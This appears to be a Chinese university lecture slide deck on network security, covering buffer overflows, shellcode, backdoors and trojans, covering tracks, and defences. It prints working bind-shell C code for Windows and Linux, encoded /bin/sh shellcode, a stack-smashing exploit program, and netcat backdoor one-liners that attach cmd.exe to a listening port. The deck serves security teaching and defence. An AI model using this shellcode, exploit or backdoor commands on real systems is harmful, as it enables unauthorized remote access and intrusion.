550 likes | 788 Views
网络与信息安全 网络安全 (五 ). 潘爱民,北京大学计算机研究所 http://www.icst.pku.edu.cn/InfoSecCourse. 内 容. 缓冲区溢出 原理 Windows 平台的 Buffer overflows Linux 平台的 Buffer overflows 其他网络安全技术 后门 隐藏痕迹 网络安全部分复习 第二次作业. Buffer Overflows. 基本的思想 通过修改某些内存区域,把一段恶意代码存储到一个 buffer 中,并且使这个 buffer 被溢出,以便当前进程被非法利用(执行这段恶意的代码) 危害性
E N D
网络与信息安全网络安全 (五) 潘爱民,北京大学计算机研究所 http://www.icst.pku.edu.cn/InfoSecCourse
内 容 • 缓冲区溢出 • 原理 • Windows平台的Buffer overflows • Linux平台的Buffer overflows • 其他网络安全技术 • 后门 • 隐藏痕迹 • 网络安全部分复习 • 第二次作业
Buffer Overflows • 基本的思想 • 通过修改某些内存区域,把一段恶意代码存储到一个buffer中,并且使这个buffer被溢出,以便当前进程被非法利用(执行这段恶意的代码) • 危害性 • 在UNIX平台上,通过发掘Buffer Overflow, 可以获得一个交互式的shell • 在Windows平台上,可以上载并执行任何的代码 • 溢出漏洞发掘起来需要较高的技巧和知识背景,但是,一旦有人编写出溢出代码,则用起来非常简单 • 与其他的攻击类型相比,缓冲区溢出攻击 • 不需要太多的先决条件 • 杀伤力很强 • 技术性强 • 在Buffer Overflows攻击面前,防火墙往往显得很无奈
Buffer Overflow的历史 • 1988年的Morris蠕虫病毒,放倒了6000多台机器:利用UNIX服务finger中的缓冲区溢出漏洞来获得访问权限,得到一个shell • 1996年前后,开始出现大量的Buffer Overflow攻击,因此引起人们的广泛关注 • 源码开放的操作系统首当其冲 • 随后,Windows系统下的Buffer Overflows也相继被发掘出来 • 已经有一些非常经典细致的文章来介绍与Buffer overflows有关的技术
进程的内存空间示意图 • Stack • Heap • Bss • Data • Text
一点关于Intel x86系列的汇编知识 • 段式结构 • 从段式结构 -> 线性结构 • 内存区域的访问控制 • 段描述符 • 指令流的控制 • ECS:EIP • Jmp指令(及其他跳转指令) • Call指令/ret • 栈段ESS • 两个指针:ESP(动态), EBP(静态) • Call/ret指令 • Push/pop/pusha/popa
一个函数调用示例 Stack frame … • 函数: int func(int a, int b){ int retVal = a + b; return retVal; } int main(int argc, char* argv[]) { int result = func(1, 2); printf("Hello World!\n"); return 0; } • EIP、EBP、ESP指针 2 1 Ret-add ebp retVal …
为什么会缓冲区溢出? • 在C语言中,指针和数组越界不保护是Buffer overflow的根源,而且,在C语言标准库中就有许多能提供溢出的函数,如strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets()和scanf() • 通过指针填充数据 • 不好的编程习惯 • 溢出类型 • 栈溢出 • 堆溢出
栈溢出(stack overflow) 高地址 para1 #include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x1f\x……"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } para2 Return add Buffer (96bytes) shellcode i long_ptr 低地址
堆溢出(heap overflow) • 内存中的一些数据区 • .text 包含进程的代码 • .data 包含已经初始化的数据(全局的,或者static的、并且已经初始化的数据) • .bss 包含未经初始化的数据(全局的,或者static的、并且未经初始化的数据) • heap 运行时刻动态分配的数据区 • 还有一些其他的数据区 • 在.data、.bss和heap中溢出的情形,都称为heap overflow,这些数据区的特点是:数据的增长由低地址向高地址
关于heap overflow • 比较少引起人们的关注,原因在于 • 比栈溢出难度更大 • 需要结合其他的技术,比如 • 函数指针改写 • Vtable改写 • Malloc库本身的漏洞 • 对于内存中变量的组织方式有一定的要求
指针改写 • 要求: • 先定义一个buffer,再定义一个指针 • 溢出情形 • 当对buffer填充数据的时候,如果不进行边界判断和控制的话,自然就会溢出到指针的内存区,从而改变指针的值
指针改写导致heap overflow示例 .bss区 高地址 …… tmpfile buf (16bytes) tmpfd 低地址 如何发掘:估计出argv[1]的地址,放到16-19字节中。 从而可能改写敏感文件
函数指针改写导致heap overflow示例 .bss区 高地址 …… funcptr buf (16bytes) tmpfd 低地址 如何发掘:期望让funcptr指向system()函数,执行argv[2]
C++中的vtable函数指针改写 • 函数指针与函数体的绑定 • Early binding, 在编译过程中绑定 • Late binding, 在运行过程中绑定 • C++的虚函数机制 • 编译器为每一个包含虚函数的class建立起vtable,vtable中存放的是虚函数的地址 • 编译器也在每个class对象的内存区放入一个指向vtable的指针(称为vptr),vptr的位置随编译器的不同而不同,VC放在对象的起始处,gcc放在对象的末尾 • Overflow • 设法改写vptr,让它指向另一段代码
MyFunc 如何发掘:期望让vptr指向构造的函数表,表中函数地址指向构造的代码。比较困难 func1 … nop shellcode Vptr’ Vptr指针改写示例代码 heap …… 高地址 vptr printBuffer buf (11bytes) 对象地址 低地址
程序指令流被改变后…… • 溢出之后,让程序执行我们指定的代码 • 我们自己提供的一段代码 • 系统现有的调用 • 由于这段代码往往不能太长,所以需要精心设计,并且充分利用系统中现有的函数和指令 • 对于不同的操作系统 • Linux/Unix,尽可能地得到一个shell(最好是root shell) • Windows,一个可以远程建立连接的telnet会话 • 通用的模式 • 找到具有漏洞的程序(vulnerable program ) • 编写出shellcode, • 然后编写把shellcode送到漏洞程序的程序(称为exploit)
Windows平台下的buffer overflows • 过程 • 发现目标 • 找到有漏洞的程序,如果在输入非正常字符串的时候,出现右图的情形 • 或者从程序中找漏洞,用好的反汇编工具,加上耐心 • 以一个特定的字符串作为线索,跟踪到strcpy这样的函数,看是否有边界检查 • 编写shellcode • 编写exploit程序,并试验,直到成功
编写Windows平台下的shellcode • Shellcode将被放在一个buffer中 • Shellcode可以写成通用的,也就是与具体的应用无关 • Shellcode的功能目标 • 产生一个shell,可能是本地的 • 也可能是远程的,把shell的输入输出与一个socket连接起来 • 编写通用shellcode要注意的地方 • Shellcode不能太长,尽可能的短小精致 • Shellcode的代码不能包含’\x0’,否则就会被strcpy这样的函数截断 • Shellcode应该与Windows的操作系统无关,版本(或补丁)无关 • 可供使用的系统调用非常有限
Shellcode代码 • 本地shellcode: • 最简单的做法是调用CreateProcess创建一个进程,执行cmd.exe • 远程shellcode: • 在远程机器上执行一个网络服务程序,打开一个socket端口,等待客户程序来连接。 • 当客户程序连接上之后,为客户建立一个cmd.exe进程,并且把客户的输入输出与cmd.exe的输入输出联系起来,于是客户就有了一个远程shell • 如何把输入输出联系起来呢?可以通过管道(pipe)来实现。
Windows下的远程shellcode代码(C版本) #include <winsock2.h> #include <stdio.h> int main() {WSADATA wsa;SOCKET listenFD;char Buff[1024]; int ret; WSAStartup(MAKEWORD(2,2),&wsa);listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);struct sockaddr_in server; server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
Windows下的远程shellcode代码(续一) SECURITY_ATTRIBUTES sa;sa.nLength=12; sa.lpSecurityDescriptor=0; sa.bInheritHandle=true; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;ret = CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // 管道1:cmd.exe进程写数据到管道,父进程从管道中读出数据ret = CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // 管道2:父进程写数据到管道, cmd.exe进程从管道中读出数据 STARTUPINFO si;ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = "cmd.exe";PROCESS_INFORMATION ProcessInformation;ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si, &ProcessInformation);
Windows下的远程shellcode代码(续二) unsigned long lBytesRead; while(1) { ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); // 看看cmd.exe是否有数据输出if (lBytesRead) { ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; ret = send(clientFD,Buff,lBytesRead,0); if (ret<=0) break; } else { lBytesRead=recv(clientFD,Buff,1024,0); if (lBytesRead<=0) break; ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; } } return 0; } // main()
在Windows下编写shellcode的困难 • 如何调用系统函数 • 汇编代码是使用call指令,如何确定call后面的指令?我们不能使用import table • 我们使用GetProcAddress和LoadLibraryA来解决 • 这两个函数的地址可以从exe的import table中找到 • 做法:把所有需要用到的系统函数都放到一张数据表中,然后通过GetProcAddress找到这些函数的地址 • 消除代码中的null字节 • 在数据区,加减一个常量来避免出现null,这样在代码刚开始执行的时候,要先恢复数据区 • 在指令区,通过一些技巧来获得0,比如 • xor eax, eax • 要赋值0x00441110给ebx,则可以mov ebx, 44111099shr ebx, 08 • 跳转的时候使用相对地址,如果出现0,则可以用nop来避免
jmp esp 把shellcode装到buffer中 Stack frame (buffer) Ret- val shellcode • 如何在内存中找到一个jmp esp指令(二进制码为0xffe4)? • 可以在目标exe或者dll中寻找,也可以在系统dll中寻找,但是系统dll有版本相依性 • 另一个问题:如果溢出函数的返回指令有偏移(比如ret 8),则esp往后移动了 • 解决的办法是在shellcode的前面加上多个nop(二进制码为0x90) 高地址 低地址
编写Linux平台下的shellcode • 编写Linux平台下的shellcode要简单得多,下面是本地的shellcode(C语言) #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } • 对于远程shell,把输入输出与socket联系起来
Linux下的远程shellcode代码(C版本) int main() { char *name[2]; int fd,fd2,fromlen; struct sockaddr_in serv; fd=socket(AF_INET,SOCK_STREAM,0); serv.sin_addr.s_addr=0; serv.sin_port=1234; serv.sin_family=AF_INET; bind(fd,(struct sockaddr *)&serv,16); listen(fd,1); fromlen=16; /*(sizeof(struct sockaddr)*/ fd2=accept(fd,(struct sockaddr *)&serv,&fromlen); /* "connect" fd2 to stdin,stdout,stderr */ dup2(fd2,0); dup2(fd2,1); dup2(fd2,2); name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); exit(0); }
Stack frame (buffer) shellcode Ret- val 低地址 高地址 Linux下shellcode的注意点 • 系统调用 • 在Linux(+Intel)下,系统调用的汇编码是int 0x80,所以与具体的版本无关。通过寄存器来传递参数 • 但是,需要把用到的每个系统调用反汇编出来,得到它们的二进制码。用gcc/gdb就可以做到(gcc中使用-static选项) • 消除shellcode中的null字节 • 用一些简单的技巧可以替换掉指令中的null字节 • 把shellcode装到buffer中 • 编写一个exploit程序产生这样的buffer
高地址 …… para1 Ret-add 正常的Buffer NOPs shellcode Ret- val Ret- val … Ret- val 低地址 Linux下发掘程序的buffer overflows漏洞 shellcode Ret- val Ret- val … Ret- val Buffer: • 利用shellcode构造出一个buffer • 猜测返回地址 • 从栈顶(固定)一直往下猜,两个参数: • Ret-val的个数 • 缓冲区离栈顶的偏移 • 改进:提高猜中的概率
char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ Linux下Buffer overflows的例子 #include<string.h> #include<ctype.h> int main(int argc,char **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i<strlen(argv[1]);i++) argv[1][i]= toupper(argv[1][i]); strcpy(buffer,argv[1]); } }
Linux下Buffer overflows的exploit例子 sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]= (addr&0x000000ff); buff[i+ALIGN+1]= (addr&0x0000ff00)>>8; buff[i+ALIGN+2]= (addr&0x00ff0000)>>16; buff[i+ALIGN+3]= (addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2 -strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2 -strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable1", "vulnerable1",buff,0); } #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]=“…”; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char *ptr, buff[RET_POSITION+RANGE+ALIGN+1]; long addr; unsigned long sp; int i; int offset=OFFSET, bsize=RET_POSITION +RANGE+ALIGN+1; if(argc>1) offset=atoi(argv[1]);
一些典型的buffer overflows漏洞 • NetMeeting buffer overflow • 文章“The Tao of Windows Buffer Overflow”描述了漏洞发掘过程 • Outlook • 当客户接收邮件的时候,畸形的邮件头信息会导致buffer overflows,然后就可以执行恶意代码或者拒绝服务 • Linuxconf • Linuxconf允许远程通过Web对系统进行管理,当收到的http头中包含过量的信息时,会产生缓冲区溢出 • ToolTalk • ToolTalk是一个RPC服务,攻击者连接到ToolTalk端口,然后发送包含恶意代码的命令,可导致缓冲区溢出 • ……(大量的服务器应用程序都包含buffer overflows漏洞)
为什么不写出不受影响的代码来? • 编程的问题都可以在开发阶段防止,事实上,并没有这么简单 • 有些开发人员没有意识到问题的存在 • 有些开发人员不愿意使用边界检查,因为会影响效率和性能 • 另一方面,许多遗留下来的代码还很多 • 在开发过程中,尽量使用带有边界检查的函数版本,或者自己进行越界检查
如何保护自己的代码免受Buffer Overflow攻击? • 不可执行的缓冲区 • 适用于堆栈(stack)中的buffer,基本上不影响兼容性 • 数组越界保护 • 每一次引用一个数组元素的时候,都执行检查 • 缺点:效率低,并且用指针也可以引用数组元素 • 指针保护 • 在指针被引用之前,检测到它的变化 • 最根本的解决办法 • 编写正确的代码 • 不用C/C++,用VB、Java。???
防范缓冲区溢出 • 缓冲区溢出是代码中固有的漏洞,除了在开发阶段要注意编写正确的代码之外,对于用户而言,一般的防范错误为 • 关闭端口或服务。管理员应该知道自己的系统上安装了什么,并且哪些服务正在运行 • 安装软件厂商的补丁 • 漏洞一公布,大的厂商就会及时提供补丁 • 在防火墙上过滤特殊的流量 • 无法阻止内部人员的溢出攻击 • 自己检查关键的服务程序,看看是否有可怕的漏洞 • 以所需要的最小权限运行软件
其他的网络安全技术 • 除了用以前介绍的技术来攻入一个系统外,还有一条很重要的途径:病毒 • 特别是邮件病毒,已经严重影响网络的安全 • 邮件病毒可以导致拒绝服务 • 邮件病毒可以导致泄漏敏感信息,包括隐私、商业机密等 • 邮件病毒可以让你睡不踏实、不能专心做事 • 从一个攻击过程来看,下面这些技术也比较重要 • 后门技术 • 隐藏痕迹
后门技术 • 当攻击者一旦攻入一个系统之后,他的欲望开始膨胀 • 保留访问权,甚至权限升级:如果他没有管理员权限,期望得到管理员权限,或者设法得到管理员口令 • 他能满足于这一次的进入吗?下次怎么进来?设置一个后门,下次可以轻松进入 • 摧毁系统… • 后门技术 • 后门是指攻击者再次进入网络或者系统而不被发现的通道。也就是说,攻击者可以隐蔽地进入系统而不用花费很多功夫的通道。 • 后门技术是系统相关的 • 关联技术: 特络伊木马(Trojan)
木马技术 • 木马程序往往包含两个部分 • 外壳程序:公开的,谁都可以看得到。往往具有足够的吸引力,使人下载或拷贝,并运行 • 内核程序:隐藏在外壳程序之后,可以做各种对系统造成破坏的事情,比如 • 发动攻击、破坏设备 • 安装后门 • 通过Internet传播是极好的途径 • 如何防止 • 不要轻易相信别人发送的程序 • 不要轻易打开来路不明的程序或者内嵌脚本的文档 • 在网络上发布和下载文件,留意文件的MD5码 • 用防病毒软件来检测或过滤已经发现的木马
UNIX或Linux下的后门技术 • 在被攻击的机器上打开一个端口,进行监听,这样的工具比如netcat • 然后等待远程连接 • rootkit • 文件类型的rootkit,修改一些常用的命令文件,比如login, ls, who, netstat等 • 内核中的rootkit,内核中的后门——knark • 预防措施 • 一些检测软件(tripwire)可以检测出被修改的文件 • 基于内核的IDS系统,可以对内核rootkit报警 • 应急处理 • 哪些命令该信任,哪些不该信任
Windows下的后门技术 • 远程执行后门程序 • 如果只有远程访问权限,则可以通过schedule service和at命令启动远程机器上的程序 • 或者修改远程机器注册表的启动程序表项 • netcat也有Windows的版本 • 在被攻击的机器上开一个端口,然后等待连接 • 可以利用netcat把一个cmd.exe进程(shell)的输入输出与netcat端口联系起来,例如nc –L –d –e cmd.exe –p 8080 • 也可以利用端口重定向,以绕过防火墙nc target.ip 80 | cmd.exe | nc target.ip 25
Windows下的后门技术(续) • 其他后门程序 • “客户/服务器”模式 • netbus • Back Orifice • …… • 对策 • 隐藏和检测技术的较量 • 检查注册表中的启动表项 • 用netstat显示端口信息
隐藏痕迹 • 动机 • 你希望自己被管理员发现吗? • 消灭罪证 • 安全基本原则:记录下所有必要的活动情况 • 隐藏痕迹技术是系统相关的,但是,基本的原则是一致的 • 隐藏痕迹的类型 • 日志文件 • 文件信息 • 其他系统信息,例如,磁盘空间的显著变化 • 网络通讯流量
Linux的日志文件 • 日志文件的控制 • 首先要打开日志记录功能 • 其次要经常检查日志文件中的内容 • /var/log/wtmp:用户登录历史/var/run/utmp:当前用户登录日志。每条记录包括登录类型、登录进程的pid、tty设备名、用户id、用户名、远程登录的主机名、退出状态、会话id、时间、远程主机的ip地址 • 用utmpdump可以查看上面两个日志文件的内容 • /var/log/messages:内核消息日志,文本文件,可以直接输出。其中,系统启动、退出,用户su命令的成功和失败、ipchains丢弃或拒收数据包等消息都记录在此文件中 • var/log/pacct:进程审计日志。pacct记录系统中运行过的所有进程的信息。可以用dump-acct来查看内容。 • …还有其他一些日志文件,位于var/log目录下
Windows NT/2000日志文件 • 日志文件 • 三个日志文件 • Sysevent.evt • Secevent.evt • Appevent.evt • 三个缓冲区文件 • System.log • Security.log • Application.log • 事件浏览器(Event Viewer)可以查看日志文件 • 要在NT上直接通过这些文件来消除痕迹并不很容易 • 如果攻击者有管理员权限的话,可以直接用事件浏览器删除记录
保护Linux/Windows日志文件的原则 • 对日志文件设置正确的权限 • 对日志文件要经常备份 • 使用一次性可写的设备 • 加密日志文件 • 定时查看日志文件以尽早发现异常
文件信息的变化 • 对于系统关键文件加以保护,以便能够识别出文件的变化情况。文件的修改时间、长度信息,以及文件的指纹 • 攻击者总是试图掩盖这样的变化 • 预防:用工具来记录文件的完整性信息 • 新增文件 • 被攻击者上传的一些文件,占用磁盘空间 • 用扫描病毒的工具定期检查磁盘
复习:网络安全:防火墙 • 防火墙(Firewall) • 对于一个网络来说,防火墙把所有的流量分成“内”和“外” • 通过一些安全策略,来保证只有经过授权的流量才可以通过防火墙 • 防火墙的类型 • 包过滤路由器 • 应用层网关 • 电路层网关 • 防火墙的部署
复习:网络安全:网络监听 • 原理:在共享式网络上,处于混杂模式下的网卡可以监听到所有流经的数据包 • 网络流量监听技术 • UNIX系统提供了标准的API支持 • Packet socket • BPF • Windows平台上通过驱动程序来获取数据包 • 驱动程序 • WinPcap • 介绍了libpcap、WinPcap、Libnet
复习:网络安全:入侵检测系统(IDS) • 入侵检测系统的实现过程 • 信息收集 • 信息分析 • 入侵检测系统分类 • 基于主机、网络、内核、应用 • 入侵检测系统用到的一些技术 • 异常检测 • 误用检测 • 实用的IDS: snort • 入侵检测系统的研究和发展 • 神经网络在IDS中的研究与应用 • STAT:用有限状态机来表示入侵过程